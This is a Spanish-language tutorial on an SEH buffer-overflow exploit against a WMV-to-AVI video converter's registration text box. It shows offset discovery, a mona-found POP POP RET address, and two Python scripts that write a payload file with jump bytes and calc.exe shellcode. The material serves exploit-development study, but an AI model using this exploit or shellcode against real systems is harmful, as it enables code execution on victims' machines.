Vulnerabilidad de WMV to AVI MPEG DVD WMV Convertor

Vamos a vulnerar una aplicación que es un convertidor de video, está vulnerabilidad fue encontrada en el 2019

https://www.exploit-db.com/exploits/47568

Al parecer hay una vulnerabilidad en una caja de texto en el registro de la app, vamos a vulnerarla usando mona y pattern_create y pattern_offset

Hagamos un pattern de 1000 bytes y oprimamos alt + S para ver la ventana de SEH y veamos como se vulnera la app.



Con pattern_offset encontramos que son 780 bytes

Busquemos con mona seh si hay algun POP POP RET accesible para brincar a ESP ya que un overflow directo a ESP no se encontró ninguno.



Ok, usando !mona seh encontramos un pop pop ret utilizable (0x10037859)

Mandemos los básico, "AAAA", "BBBB" para sobreescribir SEH



Coloquemos un break en el pop pop ret y después continuemos paso a paso para ver que pasa







podemos ver que avanza perfectamente

Ahora hagamos un script para colocar una shell que ejecute calc.exe

payload = "A"*780
payload += "\xeb\x0c\x90\x90"
payload += "\x59\x78\x03\x10"
padding = "D"*(1100 - len(payload))

calc = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x10\x52\x25\x76\xff\xd3\x31\xc0\x50\xb8\xe0\x73\x21\x76\xff\xd0"

exploit = payload + calc + padding

File = 'para_wmv.txt'
f = open(File, 'w')
f.write(exploit)
f.close()



Podemos ver que avanza pero hay un problema, esta mal establecido, faltan algunos bytes y habrá que alinearlo, asi qué agregaremos algunos NOP's.



payload = "A"*780
payload += "\xeb\x0c\x90\x90"
payload += "\x59\x78\x03\x10"
padding = "D"*(1100 - len(payload))

calc = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x10\x52\x25\x76\xff\xd3\x31\xc0\x50\xb8\xe0\x73\x21\x76\xff\xd0"

exploit = payload + "\x90\x90\x90\x90\x90\x90\x90" + calc + padding

File = 'para_wmv.txt'
f = open(File, 'w')
f.write(exploit)
f.close()

Listo, veamos que pasa.



Listo.